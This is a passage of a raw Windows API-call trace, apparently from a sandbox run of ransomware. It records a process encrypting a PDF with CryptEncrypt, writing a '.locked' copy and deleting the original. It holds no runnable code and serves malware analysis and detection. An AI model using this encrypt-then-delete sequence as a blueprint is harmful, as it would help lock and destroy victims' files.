lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", lpFilePart=0x0) returned 0x5e [0126.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0126.349] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0126.350] GetFileType (hFile=0x878) returned 0x1 [0126.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0126.350] GetFileType (hFile=0x878) returned 0x1 [0126.350] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.350] CryptGenRandom (in: hProv=0x8e021c8, dwLen=0x10, pbBuffer=0x6909230 | out: pbBuffer=0x6909230) returned 1 [0126.350] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.350] CryptDuplicateKey (in: hKey=0x8e84f38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e84e38) returned 1 [0126.350] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.350] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x4, pbData=0x690a60c*=0x1, dwFlags=0x0) returned 1 [0126.350] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x1, pbData=0x690a5d8, dwFlags=0x0) returned 1 [0126.350] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="\xee43\xbd77\x130f\x1c63\x112f\xf0f1\xdde\xb55d\xcd98\xcf99\xf2b2\xfcb9\xb804\xe158\xaee9\x5444\x6361\x3935\x3031\x6461\x6538\x3332\x6334\x3261\xe0") returned 0x0 [0126.350] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.350] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.350] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.351] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.351] ReadFile (in: hFile=0x874, lpBuffer=0x690dc5c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x690dc5c*, lpNumberOfBytesRead=0x99ae9fc*=0x1ced, lpOverlapped=0x0) returned 1 [0126.352] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6921c68*, pdwDataLen=0x99ae9f0*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x6921c68*, pdwDataLen=0x99ae9f0*=0x1ce0) returned 1 [0126.352] WriteFile (in: hFile=0x878, lpBuffer=0x6909350*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x6909350*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0126.353] ReadFile (in: hFile=0x874, lpBuffer=0x690dc5c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x690dc5c*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0126.353] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69239cc*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x69239cc*, pdwDataLen=0x99aea50*=0x10) returned 1 [0126.353] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6923a00*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x6923a00*, pdwDataLen=0x99aea58*=0x10) returned 1 [0126.353] WriteFile (in: hFile=0x878, lpBuffer=0x6909350*, nNumberOfBytesToWrite=0xd04, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x6909350*, lpNumberOfBytesWritten=0x99aea28*=0xd04, lpOverlapped=0x0) returned 1 [0126.353] CloseHandle (hObject=0x878) returned 1 [0126.355] CloseHandle (hObject=0x874) returned 1 [0126.355] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.355] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.355] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.355] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.355] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.359] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 0x20 [0126.359] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.360] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.360] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0126.360] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.360] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0126.360] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.360] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0126.360] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.360] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0126.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.360] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0126.361] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.361] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0126.361] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.361] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u")) returned 0x10 [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U", lpFilePart=0x0) returned 0x32 [0126.361] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn")) returned 0x10 [0126.361] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn")) returned 0x10 [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", nBufferLength=0x105, lpBuffer=0x99ae114, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0126.361] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\.", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn", lpFilePart=0x0) returned 0x40 [0126.362] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 0x20 [0126.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae118, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae0ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae254, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae714) returned 1 [0126.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae21c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.362] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf\\", nBufferLength=0x105, lpBuffer=0x99ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf\\", lpFilePart=0x0) returned 0x58 [0126.362] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf\\*", lpFindFileData=0x99ae43c | out: lpFindFileData=0x99ae43c) returned 0xffffffff [0126.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0126.363] CoTaskMemAlloc (cb=0x404) returned 0x438c200 [0126.363] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x438c200, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0126.363] CoTaskMemFree (pv=0x438c200) [0126.364] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 0x20 [0126.364] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.364] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae15c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae638) returned 1 [0126.364] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf"), fInfoLevelId=0x0, lpFileInformation=0x693d97c | out: lpFileInformation=0x693d97c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8bcc70, ftCreationTime.dwHighDateTime=0x1d4a34a, ftLastAccessTime.dwLowDateTime=0x7dd2a610, ftLastAccessTime.dwHighDateTime=0x1d4a618, ftLastWriteTime.dwLowDateTime=0x7dd2a610, ftLastWriteTime.dwHighDateTime=0x1d4a618, nFileSizeHigh=0x0, nFileSizeLow=0x1ced)) returned 1 [0126.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae634) returned 1 [0126.364] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf")) returned 1 [0126.365] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.365] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae590, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.365] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.365] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.365] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.367] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf.locked")) returned 0x20 [0126.367] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\upd4fs3k7gadn\\oase2czbpa4gl9smhw.pdf.locked")) returned 0x20 [0126.367] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", lpFilePart=0x0) returned 0x5e [0126.367] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf.locked", lpFilePart=0x0) returned 0x5e [0126.367] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.367] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", nBufferLength=0x105, lpBuffer=0x99ae4f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\UPd4fs3K7GADn\\oase2cZbpA4gl9SmHw.pdf", lpFilePart=0x0) returned 0x57 [0126.367] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.367] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.367] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.368] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.370] 